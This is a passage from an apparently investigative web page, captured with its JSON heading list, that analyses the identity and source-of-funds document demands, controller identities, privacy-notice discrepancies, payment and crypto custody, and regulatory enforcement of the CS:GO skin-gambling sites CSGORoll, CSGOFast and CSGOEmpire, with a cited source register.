— or its disclosed alternative — and never with the casino’s legal entity: direct settlement is severed by design. The merchant and settlement records should show who received the money, who imposed the hold and who can return it.\n\nRead the original 11 October wording\n\nPreserved verbatim from the supplied 11 October 2026 edition. “Today” and “currently” refer to that edition; its original estimates and formulations remain available alongside the dated text above.\n\nThe seller, payment recipient and operator occupy different roles — and in this route the casino’s legal entity is none of them.\n\nOpen this passage in the complete original edition →\nCRYPTO / FOLLOW CONTROL, NOT THE ICON\nA deposit address does not identify its custodian.\n\nThere are three separate control questions: who credits the gambling balance, who can sign the blockchain transfer, and who holds the customer’s eventual payout. Calling all three a “wallet” conceals the distinctions that matter.\n\n01 / INTERNAL BALANCE\nThe operator controls the release.\n\nEmpire’s manual-review help ties crypto withdrawal to verification and account restrictions. This demonstrates platform-level control over release. [K38]\n\nPUBLISHED CONTROL\n02 / DEPOSIT ADDRESS\nCustody remains to be attributed.\n\nFast describes an account-linked USDT deposit address. The investigation’s working attribution — likely not an exchange — stands until Fast and its payment partners name the private-key holder; Fast must disclose who controls the address. [K43]\n\nATTRIBUTION TASK · LIKELY NOT AN EXCHANGE\n03 / PAYOUT DESTINATION\nThe user may hold an exchange account.\n\nEmpire’s July 2023 help explicitly describes withdrawal to the user’s exchange deposit address. Current terms require destination checks. An address associated with a user is not necessarily self-custodied. [K49] [K36]\n\nPUBLISHED DESTINATION OPTION\n\nThe custody map starts with the deposit instruction and address, network, transaction identifier and credited ledger entry. It follows the processor or custodian to the payout and final recipient. Empire, Fast and their payment partners should identify which entity holds signing authority and customer funds at each step, and release the records that connect those responsibilities.\n\nEmpire’s current terms permit a payment provider to receive, hold and manage funds. Its default crypto withdrawal rule refers to the original wallet and asset, with verified alternatives. Neither clause names the custodian of a particular deposit address. [K36]\n\nVALVE & ENFORCEMENT\n\nA Steam account restriction answers only part of this chain. It does not, by itself, identify the voucher seller, payment collector, crypto custodian or recipient of the passport. An enforcement account must explain which of those relationships it reaches and what happens to the user’s deposited value. The skin owner, the gambling ledger and the payment business must be traced separately.\n\nPayment routes and enforcement counts ↗Who controls settlement ↗Continue to all 14 document groups ↓\n01 / THEIR OWN WORDS\n“Our specially trained team.”\n\nThe AML notice speaks in the operator’s own voice. It gives the document-handling role to its team. It does not identify Sumsub, Onfido or another external verification company as the party performing that role. [K01]\n\n“only handled by our specially trained team, ensuring your privacy and safety at all times”\n\nCSGORoll · User Verification and Security Read the policy ↗\nTHE ASSURANCE\nHighest standards. Exclusive handling. Safety at all times.\n\nThese are expansive claims about the treatment of intensely personal records. The same section supplies no named security standard, certification scope, independent audit reference or document-retention schedule.\n\nWHAT A READER CAN VERIFY\nThe promise has no measurable specification.\n\nThe AML notice does not explain who can view, copy or export the files, or identify a specific security standard. The privacy notice separately allows sharing with vendors and affiliates without mapping those routes to the KYC documents.\n\nTogether, the notices promise safe handling without giving the user a clear account of who holds the originals and who can receive copies.\n\nA payment processor is a different part of the chain.\n\nThe privacy notice says a payment processor stores payment data. That sentence does not identify the custodian of passports, selfies, wills or source-of-funds evidence requested under the AML policy. The two data flows need their own explanation. [K03]\n\n02 / THE CONSEQUENCE OF REFUSAL\nA friendly phrase. A restriction on access.\n\nCSGORoll’s policy softens the consequences with the language of reassurance and a temporary pause. The stated operational consequences are withdrawal delay and possible account suspension. [K01]\n\nVALUE ALREADY COMMITTEDA platform balance\nor pending withdrawal\nPLATFORM REQUIREMENTSupply the requested documents\n\nThe operator decides whether verification is complete.\n\nDOCUMENTS SUPPLIED\nVerification proceeds\n\nThe user has disclosed identity and financial evidence. Release remains subject to the platform’s checks.\n\nDOCUMENTS REFUSED\nWithdrawal delayed\n\nThe policy also allows the account to be paused until the issue is resolved.\n\nThis reconstructs the published policy’s mechanism. Checks may be requested at different stages; it is not a claim that every user first encounters verification at withdrawal.\n\nTHE FINDING\n\nThe platform controls both the evidence demand and access to the balance. The user’s decision takes place inside that dependency. Calling a hold a pause does not explain the legal basis, the deadline for review, or the route for challenging an excessive request.\n\nConsent cannot be reduced to a forced choice.\n\nWhere consent is claimed, the ability to refuse without adverse pressure matters. Where a statutory duty is claimed, identify the law and the processing it requires. The EDPB treats these as different legal bases with different conditions. [K18]\n\n03 / THE SCOPE OF THE REQUEST\nFrom a passport to a family’s financial history.\n\nThe following inventory covers every document category in the CSGORoll policy supplied for this investigation and checked against the live page. Requests vary by activity; the policy says the list is open-ended and documents may need renewing. [K01]\n\n01 / THE PLAYERIdentity & address\n\nPassport, selfie, home, payment account\n\n02 / THE FINANCIAL HISTORYWhere value came from\n\nSalary, trading, crypto, property\n\n03 / OTHER PEOPLEFamily & counterparties\n\nDonor identity, wills, contracts\n\n14 request groupsWhat this reveals ↓\n01IdentityIdentity and face\n\nPassport photo pages; driver’s licence front and back; identity card front and back; a selfie with an identity document.\n\nEXPOSURE TO EXAMINEA legal identity and face can be connected to the platform account.\n\n02Residential addressHome and banking\n\nA bank statement issued within the previous three months, with a card number covered if shown; or a recent utility bill, including gas, electricity, water or council tax. Birth certificates, payslips and mobile-phone bills are not accepted for this purpose.\n\nEXPOSURE TO EXAMINEThe home address can be linked to bank and household-service records.\n\n03Payment-method ownershipCards and accounts\n\nFor bank transfers: a statement showing the transaction. For Visa or Mastercard: photographs of the card’s front and back. For e-wallets: the account overview with personal and account details, plus evidence of at least one transaction with the site; the website URL must be visible.\n\nEXPOSURE TO EXAMINEThe account holder, payment instrument and transaction become part of the same verification file.\n\n04SalaryIncome\n\nA recent bank statement showing salary received, together with the original payslip.\n\nEXPOSURE TO EXAMINEEmployer, pay and potentially unrelated transactions may be visible.\n\n05Gambling winningsOther gambling activity\n\nA receipt or bank record for the winnings and a certificate confirming the win.\n\nEXPOSURE TO EXAMINEActivity with another gambling provider can be connected to the person.\n\n06Crypto trading profitExchanges and brokers\n\nScreenshots of profitable transactions, withdrawal history, or the exchange / broker account showing the user’s details.\n\nEXPOSURE TO EXAMINEAn identified exchange account and its trading or withdrawal history.\n\n07ICO and token salesContracts and wallets\n\nA contract or agreement confirming crypto payment; the ICO’s full name and project website; purchase and withdrawal histories with wallet addresses and transaction IDs; a bank statement if fiat funded the investment; and purchase-confirmation emails.\n\nEXPOSURE TO EXAMINEThe investment, payment trail, addresses and contractual counterparties.\n\n08MiningEquipment and operations\n\nEquipment receipts with the buyer’s and seller’s addresses; operating expenses such as electricity bills in the user’s name; mining income or reward screenshots; or wallet transaction histories with addresses and transaction IDs. Self-compiled Excel lists are not accepted.\n\nEXPOSURE TO EXAMINEBusiness equipment, operational location, expenditure and wallet activity.\n\n09AirdropsWallet activity\n\nTransaction-history screenshots identifying the relevant transfers, wallet addresses and transaction IDs.\n\nEXPOSURE TO EXAMINEA link between the identified person and public transaction history.\n\n10Lending and liquidity poolsCollateral and DeFi\n\nTransaction-history screenshots with addresses and transaction IDs, plus an explanation of where assets were pledged, the amount and the origin of the collateral.\n\nEXPOSURE TO EXAMINECollateral positions, protocols, amounts and the provenance of the assets.\n\n11Sale of investmentsInvestment holdings\n\nA bank statement clearly showing the proceeds and a statement from the investment company.\n\nEXPOSURE TO EXAMINEPrior holdings, an investment-provider relationship and sale proceeds.\n\n12Sale of propertyProperty and contracts\n\nA copy of the sale contract and a bank statement showing receipt of the proceeds.\n\nEXPOSURE TO EXAMINEProperty details, the transaction value and information about other parties.\n\n13InheritanceFamily and estate\n\nA copy of the deceased person’s will and a bank statement showing receipt of the inheritance.\n\nEXPOSURE TO EXAMINEEstate arrangements and information about relatives or other beneficiaries.\n\n14Gift from a relativeAnother person’s identity\n\nA donor’s letter explaining the reason, date and amount of the gift and the source of the donor’s funds; documents confirming the donor’s identity; and supporting evidence for the donor’s funding source.\n\nEXPOSURE TO EXAMINEThe request reaches beyond the player to another person’s identity and finances.\n\nTHE COMBINED EXPOSURE\nAn identity record becomes a financial dossier.\n\nIdentity images, proof of address, account ownership and transaction histories can be linked to one person. A will or family-gift file extends that exposure to people who may never have used the site. Bank and exchange records can reveal counterparties and activity unrelated to the deposit being checked.\n\nCopies of identity and financial documents create a risk of impersonation and attempted reuse elsewhere. The operator should disclose access logs, export restrictions, recipients and deletion controls. Its broad document demands put the customer’s identity at risk; its public assurances should account for the protection actually applied to those copies.\n\nThe policy explicitly asks for photographs of both sides of a payment card. It tells users to hide a card number appearing on a bank statement, but supplies no equivalent masking instruction alongside the card-photo request. That omission matters because the requested image can expose security details unnecessary to demonstrate ownership of the payment method.\n\nA selfie raises an additional question about processing.\n\nA document photograph is personal data. If a face is technically processed for unique identification, the biometric-data conditions become relevant as well. The operator should disclose whether it creates a face template, runs liveness or matching, and retains the result or the original image. [K26]\n\n04 / IDENTIFY THE PARTY ASKING\nThe brand is not the legal identity.\n\nThese are the entities identified by the reviewed public documents. Operator, payment handler and data controller must be mapped to the particular transaction and document request.\n\nCSGOROLL\nMax Stacks Limited\nPublished registration\nC 64304\nPublished address\nUnit 207, Heritage Plaza II, Main Street, Charlestown, Nevis\nPayment entity\nFeral Entertainment (Cyprus) Limited · HE388908\nDocument role\nAML page: the operator’s specially trained team.\nPrivacy introduction: CSGORoll / Max Stacks Limited.\n\nThe terms identify the contracting company and say some payments may be handled by the Cyprus entity. The KYC file needs a corresponding, explicit responsibility map. [K02] [K03]\n\nCSGOFAST\nLumigrid OÜ PAYPLAYSOFT LIMITED\nEstonian entity\nLumigrid OÜ · 17589540\nVesivärava tn 50-201, Tallinn, 10152\nCyprus entity\nPAYPLAYSOFT LIMITED · HE454356\nBoumpoulinas 1–3, Office 42, Nicosia, 1060\nDocument role\nThe privacy notice says either company may be the service provider and/or controller, depending on the service, payment flow, region or operation.\n\nThat conditional wording leaves the person uploading a passport without a definite controller for their particular flow. A list of possible companies does not identify who is accountable for that file. [K05] [K06]\n\nESTONIAN BUSINESS REGISTER · 10 OCTOBER 2026\nCompany registration does not establish a gambling licence.\n\nThe reviewed EMTA gambling-operator list contains no match for Lumigrid, CSGOFast, PAYPLAYSOFT or Gamusoft. Separately, Lumigrid’s company registry card records incorporation on 2 September 2026 and advertising as its principal activity. Its zero MTR entries are company-register detail, rather than the gambling-permit test. [K08] [K09]\n\nThe official EMTA list of legal gambling operators contains no entry for Lumigrid, CSGOFast, PAYPLAYSOFT or Gamusoft: no Estonian gambling permit is on record for the named service. A company registration is no substitute for a permit identifying the entity, domain, authorised activity and current validity.\n\nREGISTRY CODE17589540Open the official card ↗\n05 / DOCUMENTARY FINDINGS\nSpecific discrepancies. Identifiable sources.\n\nThe findings below concern published wording, dates and official records. They do not depend on accepting the operators’ security assurances.\n\nCSGOROLL / INTERNATIONAL TRANSFERS\n2020Privacy Shield decision\ninvalidated by the CJEU\n2026The revised privacy notice\nstill names Privacy Shield\nInspect the wording and sources ↓\nCSGOFAST / POLICY VERSION\n2024Displayed AML and\nprivacy revision year\n2026Registration of the\ncompany those pages name\nInspect the registry comparison ↓\n01\n\nCSGOROLL / HANDLING CLAIM\n\nExclusive team handling; broader sharing elsewhere.\n\nThe AML page assigns handling to its trained team. Its privacy notice permits multiple categories of recipients, including vendors and affiliates. The reassuring AML promise leaves the reader without a clear account of which sharing routes apply to the passport and financial file. [K01] [K03]\n\n02\n\nCSGOROLL / TRANSFER SAFEGUARDS\n\nA 2026 notice still lists Privacy Shield.\n\nThe privacy page is marked revised 1 August 2026 and still lists the EU–US Privacy Shield as an example of an approved transfer safeguard. The CJEU invalidated that adequacy decision on 16 July 2020. The later EU–US Data Privacy Framework is a different mechanism. Naming an invalidated framework in a 2026 notice is a concrete failure of the published assurance. The operator still owes users the valid safeguard covering their transfer. [K03] [K20] [K21]\n\n03\n\nCSGOROLL / ACCESS TO THE NOTICE\n\nThe terms’ privacy link resolved to the FAQ.\n\nOn this review, the privacy URL incorporated by the terms, /en/info/privacy-statement, redirected to /info/faq/. The separate /info/privacy-policy/ page was accessible and is the notice analysed here. The redirect and response hashes are recorded. [K02] [K04]\n\n04\n\nCSGOFAST / VERSION HISTORY\n\nA 2024 revision date names a company formed in 2026.\n\nThe AML and privacy pages name Lumigrid OÜ while displaying 10.11.2024 as their last-update date. The official registry dates the company’s registration to 2 September 2026. A 2024 revision label cannot account for the introduction of a company formed in 2026. The displayed history fails to tell users when their purported controller changed. [K05] [K06] [K08]\n\n05\n\nCSGOFAST / LEGAL BASIS\n\nThe Estonian company is paired with UK law.\n\nSection 2.1 of the AML policy assigns Cyprus law to PAYPLAYSOFT and United Kingdom law to Lumigrid. The introduction identifies Lumigrid as Estonian. The policy also invokes an EU AML directive and public-interest processing. It does not explain the UK connection or identify the national provision imposing the relevant duty on this Estonian operator. [K05]\n\n06\n\nCSGOFAST / SCRUTINY OF THE POLICY\n\nAttention to the AML policy is itself a suspicion indicator.\n\nSection 4 includes unusual attention to the companies’ AML policy among examples of suspicious activity. The policy turns scrutiny of its own authority into a suspicion indicator. A user challenging a passport demand is entitled to a reasoned explanation; the operator’s wording creates pressure in the opposite direction. [K05]\n\n07\n\nBOTH OPERATORS / LIFE OF THE FILE\n\nThe notices do not explain the life of the KYC file.\n\nBoth notices give general retention criteria without clearly applying them to the identity images, financial evidence and family documents requested in these checks. The reader cannot identify which event starts retention for this file, which duty determines its duration, or when the originals and backups will be deleted. [K03] [K06]\n\nCSGOFast’s notice claims encrypted transmission and storage and agreements with processors. Those statements do not name the actual custodians, access arrangements or retention implementation — CSGOFast must disclose them. [K06]\n\n06 / AUTHORITY MUST BE TRACEABLE\nWho imposes the duty? Who supervises its use?\n\nThere are three distinct issues: the company’s existence, permission to offer the relevant service, and the lawful basis for each data-processing activity. A registration number or an AML heading cannot settle all three.\n\nTHE LEGAL-BASIS TEST\nName the law. Show the connection.\n\nThe EDPB requires a legal obligation to be imposed on the controller by applicable EU or national law, with a defined processing purpose. Public-interest processing also needs a basis in law. A private notice cannot create that authority simply by declaring the activity to be in the public interest. [K18]\n\nEstonia’s AML Act identifies categories of obliged entities, including gambling operators, and provides rules for diligence, record keeping and supervision. The missing link in CSGOFast’s notice is a precise explanation of which category, national provision and supervisor applies to each named company and service. [K27]\n\nA separate assessment is required for collection based on fraud prevention or another claimed interest: purpose, necessity, proportionality and the person’s rights. Requesting a document and retaining its full original are separate decisions that each need justification.\n\nRESPONSIBILITY FOR THE DOCUMENTS\nThe party deciding why the file is collected is accountable.\n\nA controller determines the purposes and means; a processor acts on its instructions. For the promise under review, the immediate question concerns CSGORoll’s own team. If a third party also participates, its role and access must be explained. Outsourcing does not remove the controller’s responsibility. [K19]\n\nReaders should be able to establish the purposes and legal basis, relevant recipients, retention period or meaningful criteria, rights and transfer safeguards. These are substantive transparency requirements. [K22] [K23]\n\nTHE PUBLIC ENFORCEMENT RECORD\nThere are named regulators. There are recorded actions.\n17 MAY 2023 · AUSTRALIA\nCSGORoll / Feral Holdings Limited\n\nACMA announced a formal warning for prohibited interactive gambling services and said the site had withdrawn from Australia. Its reasoning expressly addressed skins and their conversion through third-party markets. [K16]\n\nAPRIL–JUNE 2025 · AUSTRALIA\nCSGOFast / Gamusoft LP\n\nACMA’s quarterly record lists a formal warning to Gamusoft LP for providing CSGOFast as a prohibited interactive gambling service. [K17]\n\n16 APRIL 2025 · NETHERLANDS\nCSGOFast / Gamusoft LP\n\nKsa ordered the unlawful offer to Dutch players to stop, backed by €280,000 per week up to €840,000. Its page records that the decision became final and that follow-up checks found continued violations with penalties incurred. [K24]\n\nThese gambling-enforcement records are dated, public and final where recorded. No regulator has yet adjudicated the AML document-handling examined here — the operators’ own notices are the record of it, and they are the parties who must disclose the handling, access and retention logs.\n\nEU / EEA\nProtection follows the processing.\n\nGDPR scope covers processing in the context of an EEA establishment and can reach non-EEA operators targeting people in the EU or monitoring their behaviour there. Relevant establishment and targeting facts matter. Where GDPR applies, disclosure to another organisation outside the EEA also engages the international-transfer rules. The applicable safeguard must be explained alongside the basis for collecting the data. [K28] [K23]\n\nData-protection oversight is distinct from gambling licensing. Estonia’s Data Protection Inspectorate and Cyprus’s Commissioner for Personal Data Protection are listed by the EDPB; individuals can identify the authority relevant to their circumstances through that directory. [K29]\n\nUNITED STATES\nIdentify the applicable protection.\n\nState, residency and business-scope rules need to be checked. For example, California’s CCPA grants rights to California residents against covered businesses, including notice and access rights. US citizenship alone does not identify one universal KYC-storage regime. [K30]\n\nThe operator should specify the protections applicable to the person’s records, the responsible entity and the complaint route. An offshore address does not answer those questions.\n\nCSGOFAST / SERVICE DESCRIPTION AND ACCESS\nThe non-gambling claim beside the trading machinery.\n\nThe current Responsible Play Policy denies a gambling identity. The new review places that wording beside its funding instructions, Dutch enforcement record and SIH permission flow.\n\nRead the Fast findings ↗\n07 / THE RECORDS THAT WOULD ANSWER THIS\nMake the handling of identity inspectable.\n\nThe investigation asks for concrete records about authority and control. The user’s willingness to upload a passport cannot substitute for those records.\n\nIdentify the controller for each flow.Which legal entity receives the identity file, payment-ownership evidence and source-of-funds material? Explain any joint responsibility.\nIdentify the actual legal duty.Give the national law, relevant provision, obliged-entity category, regulated service and competent supervisor. Explain the UK-law references for Lumigrid.\nJustify each requested field and original.Explain why age confirmation, a redacted statement or a verified result is insufficient in that case. Address donor information and unrelated counterparties.\nExplain who handles the files.Name service providers and their roles; identify which staff groups can view, download, export or forward originals and how access is reviewed.\nDescribe storage and transfers.Give hosting and support-access countries, encryption and key-management responsibilities, current transfer mechanisms and onward recipients.\nSet out retention and deletion.Provide periods or meaningful criteria for originals, extracted fields, biometric outputs, logs and backups; explain legal holds and deletion verification.\nExplain the withdrawal hold.State the trigger, scope, review deadline, proportionality assessment, appeal route and treatment of unused value when a document request is contested.\nMake the security promise testable.Identify the standard, certification scope and independent assurance available to users; explain incident response and protection against document reuse.\nAccount for earlier operators and policy versions.Provide revision dates, notices of controller changes, transfers of historical KYC files and the duties retained by each entity.\nMap the payment counterparty.For direct payments, crypto and vouchers, identify the legal seller, recipient, processor and applicable refund or dispute route.\nTHE INVESTIGATION’S FINDING\n\nThe internal currency is the operator’s label. The exposure belongs to the user. Real assets enter the service; real passports, bank records and family documents can be demanded. The operator can hold access while its own published account of authority and handling remains defective. That imbalance is the central finding, and a security promise does not resolve it.\n\nIDENTITY & AML / NEW EVIDENCE FILE\nYour documents. Their discretion.\n\nCSGORoll’s own-team handling promise, the full document inventory, CSGOFast’s entity and policy-date discrepancies, and the legal basis for withholding access while demanding records.\n\nInspect the policy findings ↗\nREVIEW SCOPE\nWhat was checked.\n\nPublic operator policies, company and regulator records, product listings and payment rules were reviewed on 10 October 2026. No identity documents were uploaded, no user account was verified and no payment or withdrawal was attempted. Internal storage, staff access, vendor contracts and production data transfers were not inspected.\n\nFindings about omissions are scoped to the reviewed documents. Potential identity reuse is examined as a risk and a demand for controls, rather than an attributed incident. The linked evidence record contains source URLs, retrieval times, response hashes and the registry-name search result. Hashes identify the downloaded responses, including changing page content; they are not security certifications.\n\n11 October 2026 addition: Empire’s published rules, balance units, gift-code counterparties, PayPal US terms and wallet-custody questions were checked separately. Direct public responses were retained where accessible; Empire policies were also read through indexed primary-source pages where direct requests returned 403. The retained record covers the published arrangements, policy versions, named counterparties and available wallet-custody statements. Read the added source record ↗\n\nDownload evidence record ↗Payments & enforcement ↗Main investigation ↗Session-token code audit ↗\nSOURCE REGISTER / IDENTITY & AML\nRead the underlying record.\n\nOperator statements establish what the operator publishes. Registry and enforcement records establish their own dated findings. Legal guidance explains the standards used to assess the disclosure.\n\nK01\nUser Verification and Security / AML policy ↗PRIMARY SOURCE · CSGORoll\n\nOperator policy; document categories also supplied by the investigator.\n\nK02\nTerms of Service — effective 12 August 2026 ↗PRIMARY SOURCE · CSGORoll\n\nPublished entities, balances, verification powers and incorporated policy URL.\n\nK03\nPrivacy policy — revised 1 August 2026 ↗PRIMARY SOURCE · CSGORoll\n\nRecipient categories, payment-data wording, retention criteria and transfer safeguards.\n\nK04\nPrivacy URL incorporated by the terms ↗PRIMARY SOURCE · CSGORoll\n\nResolved to the FAQ during the recorded HTTP retrieval.\n\nK05\nAML-CFT policy — displayed date 10.11.2024 ↗PRIMARY SOURCE · CSGOFast\n\nReviewed sections 1, 2.1, 4, 6, 7 and Annex 1.\n\nK06\nPrivacy policy — displayed date 10.11.2024 ↗PRIMARY SOURCE · CSGOFast\n\nConditional controller identity, claimed safeguards and retention criteria.\n\nK08\nLumigrid OÜ — registry code 17589540 ↗PRIMARY SOURCE · Estonian e-Business Register\n\nOfficial registration date, principal activity and MTR counts, reviewed 10 October 2026.\n\nK09\nList of legal gambling operators ↗PRIMARY SOURCE · Estonian Tax and Customs Board\n\nOfficial list and explanation of operating permits; name search recorded.\n\nK16\nAction against CS:GO Roll / Feral Holdings — 17 May 2023 ↗PRIMARY SOURCE · ACMA\n\nAustralian enforcement announcement, including the role of skins and youth-market concern.\n\nK17\nInteractive gambling enforcement — April to June 2025 ↗PRIMARY SOURCE · ACMA\n\nQuarterly record lists CSGOFast / Gamusoft LP.\n\nK18\nProcess personal data lawfully ↗PRIMARY SOURCE · European Data Protection Board\n\nOfficial explanation of legal obligation, public interest, consent and necessity.\n\nK19\nData controller or data processor ↗PRIMARY SOURCE · European Data Protection Board\n\nRoles, contracts, responsibilities and continuing controller accountability.\n\nK20\nSchrems II — judgment announcement, 16 July 2020 ↗PRIMARY SOURCE · Court of Justice of the European Union\n\nInvalidation of the EU–US Privacy Shield adequacy decision.\n\nK21\nEU–US data transfers ↗PRIMARY SOURCE · European Commission\n\nThe later Data Privacy Framework and current transfer arrangements.\n\nK22\nRespect individuals’ rights ↗PRIMARY SOURCE · European Data Protection Board\n\nTransparency, access, recipients and retention information.\n\nK23\nInternational data transfers ↗PRIMARY SOURCE · European Data Protection Board\n\nTransfer mechanisms and safeguards for data leaving the EEA.\n\nK24\nGamusoft LP — order dated 16 April 2025 ↗PRIMARY SOURCE · Kansspelautoriteit\n\nOfficial Dutch order page, finality and enforcement follow-up.\n\nK26\nBiometric-data definition — paragraphs 312–313 ↗PRIMARY SOURCE · Supervisory-authority decision, hosted by EDPB\n\nDistinction between ordinary photographs and specific technical processing for identification.\n\nK27\nMoney Laundering and Terrorist Financing Prevention Act ↗PRIMARY SOURCE · Riigi Teataja / Riigikogu\n\nOfficial English text; obliged entities, preservation of data (§47) and supervision.\n\nK28\nGuidelines 3/2018 on territorial scope ↗PRIMARY SOURCE · European Data Protection Board\n\nEstablishment, targeting and location criteria under Article 3.\n\nK29\nMembers — national supervisory authorities ↗PRIMARY SOURCE · European Data Protection Board\n\nOfficial directory including Estonia and Cyprus.\n\nK30\nFrequently Asked Questions ↗PRIMARY SOURCE · California Privacy Protection Agency\n\nCalifornia residents, covered businesses and applicable privacy rights.\n\nK07\nResponsible Play Policy ↗PRIMARY SOURCE · CSGOFast\n\nOperator identity and the stated treatment of Credits and digital items.\n\nK10\nFAQ — balances, KYC and P2P settlement ↗PRIMARY SOURCE · CSGORoll\n\nCoins / Chips distinction and published platform trading rules.\n\nK11\nWhat Payment Methods do we Accept? ↗PRIMARY SOURCE · CSGORoll Help Center\n\nPayment-method list, dated 21 July 2026.\n\nK12\nCSGORoll 1 Coin Gift Card ↗PRIMARY SOURCE · Kinguin\n\nMarketplace listing and displayed seller name; no test purchase.\n\nK13\nCSGOFAST 10 Fast Coins Gift Card ↗PRIMARY SOURCE · Kinguin\n\nMarketplace listing and displayed seller name; no test purchase.\n\nK14\nPurchase Protection Program ↗PRIMARY SOURCE · PayPal US\n\nGift-card / gaming exclusions and separate card-issuer dispute provisions; US terms.\n\nK36\nTerms of Service — 6 October 2026 ↗PRIMARY SOURCE · CSGOEmpire\n\nDeposits & Withdrawals §§11–12; KYC; trading; payment-provider authority. Published rules, not verification of implementation.\n\nK37\nKYC checks — 13 February 2025 ↗PRIMARY SOURCE · CSGOEmpire Help Centre\n\nOlder crypto-withdrawal threshold, identity/address evidence and Checkin processing.\n\nK38\nAccount under manual review — 13 February 2025 ↗PRIMARY SOURCE · CSGOEmpire Help Centre\n\nWithdrawal restrictions for verification and unwagered cash/crypto funding, including gift codes.\n\nK39\nMain FAQ / About ↗PRIMARY SOURCE · CSGOEmpire\n\nKYC-refusal exit wording, named providers, operator backups and manual document review. Undated live page.\n\nK40\nPrivacy policy — 12 February 2025 ↗PRIMARY SOURCE · CSGOEmpire\n\nCheckin.com recipient, retention and transfer wording including Privacy Shield.\n\nK41\nKinguin gift-card purchase and redemption page ↗PRIMARY SOURCE · CSGOEmpire\n\nOperator-endorsed purchase route and footer entity disclosures. No code entered or checkout attempted.\n\nK42\nCSGOEmpire 100 Coin Gift Card — listing 90693 ↗PRIMARY SOURCE · Kinguin\n\nSeller label, official-publisher claim and territory restrictions; listing excludes US residents. No transaction.\n\nK43\nFAQ — balance funding ↗PRIMARY SOURCE · CSGOFast\n\nPartner vouchers, skin deposits, crypto/card routes and account-linked USDT deposit addresses; does not identify key custody.\n\nK44\nHow to make a withdrawal? ↗PRIMARY SOURCE · CSGOFast\n\nOperator description of user-to-user skin delivery. Its older trade-ban wording is not relied on here.\n\nK45\nWhich payment methods does Kinguin accept? ↗PRIMARY SOURCE · Kinguin Support\n\nPayPal listed; availability depends on billing country, currency and cart contents.\n\nK46\nTerms and Conditions v1.3 — September 2026 ↗PRIMARY SOURCE · Kinguin\n\n§§1.10, 2.2–2.3.3 and 5.2.1–5.2.4: operator, seller, external service and payment collection; mandatory consumer rights retained.\n\nK47\nUser Agreement — 14 September 2026 ↗PRIMARY SOURCE · PayPal US\n\nUS account terms; Liability for Unauthorized Transactions and Other Errors. Separate from Purchase Protection.\n\nK48\nAcceptable Use Policy ↗PRIMARY SOURCE · PayPal US\n\nActivities Requiring Approval: stored-value services, gambling facilitation and marketplaces. No merchant-specific approval was obtained.\n\nK49\nHow do I sell my crypto? — 20 July 2023 ↗PRIMARY SOURCE · CSGOEmpire Help Centre\n\nPublished example of payout to a customer’s exchange deposit address.\n\nK50\nDo I need to wager to withdraw? (Crypto) — 27 November 2023 ↗PRIMARY SOURCE · CSGOEmpire Help Centre\n\nDifferent payout conditions for skin-funded and cash/crypto-funded balances; compared with current Trading terms.",
        "headings": [
          {
            "level": 1,
            "text": "The cost of proving yourself.",
            "anchor": "pd-aml-data--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#overview"
          },
          {
            "level": 2,
            "text": "The “not gambling” claim and the demand for a financial dossier",
            "anchor": "pd-aml-data--aml-contradiction-title",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#aml-contradiction-title"
          },
          {
            "level": 3,
            "text": "Paid funding, AML demands and a gambling-enforcement history",
            "anchor": "pd-aml-data--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#aml-contradiction"
          },
          {
            "level": 3,
            "text": "The published explanation fails the scrutiny demanded of the user",
            "anchor": "pd-aml-data--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#aml-contradiction"
          },
          {
            "level": 3,
            "text": "All fourteen document groups, the entities and the policy defects",
            "anchor": "pd-aml-data--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#aml-contradiction"
          },
          {
            "level": 2,
            "text": "They price the entry. They police the exit.",
            "anchor": "pd-aml-data--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#coins-and-withdrawals"
          },
          {
            "level": 2,
            "text": "One balance. Conflicting instructions.",
            "anchor": "pd-aml-data--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#empire"
          },
          {
            "level": 3,
            "text": "Moonrail Limited B.V.",
            "anchor": "pd-aml-data--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#empire"
          },
          {
            "level": 3,
            "text": "JHOLT Ltd",
            "anchor": "pd-aml-data--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#empire"
          },
          {
            "level": 3,
            "text": "Checkin.com",
            "anchor": "pd-aml-data--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#empire"
          },
          {
            "level": 3,
            "text": "Cumulative crypto withdrawals",
            "anchor": "pd-aml-data--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#empire"
          },
          {
            "level": 3,
            "text": "Cumulative deposits and withdrawals",
            "anchor": "pd-aml-data--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#empire"
          },
          {
            "level": 3,
            "text": "Refuse verification: withdraw, or remain blocked?",
            "anchor": "pd-aml-data--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#empire"
          },
          {
            "level": 3,
            "text": "“Automated verification” still leaves a human and a backup.",
            "anchor": "pd-aml-data--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#empire"
          },
          {
            "level": 2,
            "text": "The payment buys a code. The operator controls what follows.",
            "anchor": "pd-aml-data--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#gift-code-route"
          },
          {
            "level": 3,
            "text": "The seller, payment recipient and casino operator occupy different roles in the same purchase.",
            "anchor": "pd-aml-data--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#gift-code-route"
          },
          {
            "level": 3,
            "text": "Identify who was paid and what was sold.",
            "anchor": "pd-aml-data--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#aml-issue-payment"
          },
          {
            "level": 3,
            "text": "Match the delivered code to the ledger entry.",
            "anchor": "pd-aml-data--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#aml-issue-credit"
          },
          {
            "level": 3,
            "text": "The code may work while access to value remains blocked.",
            "anchor": "pd-aml-data--heading-19",
            "source_url": "https://phishdestroy.io/steam_dossier/aml-data#aml-issue-withdrawal"
          },
          {
            "level": 3,
            "text": "PayPal never settles with the casino: the gift code severs direct settlement with the operator’s legal entity.",
            "anchor": "pd-aml-data--heading-20",
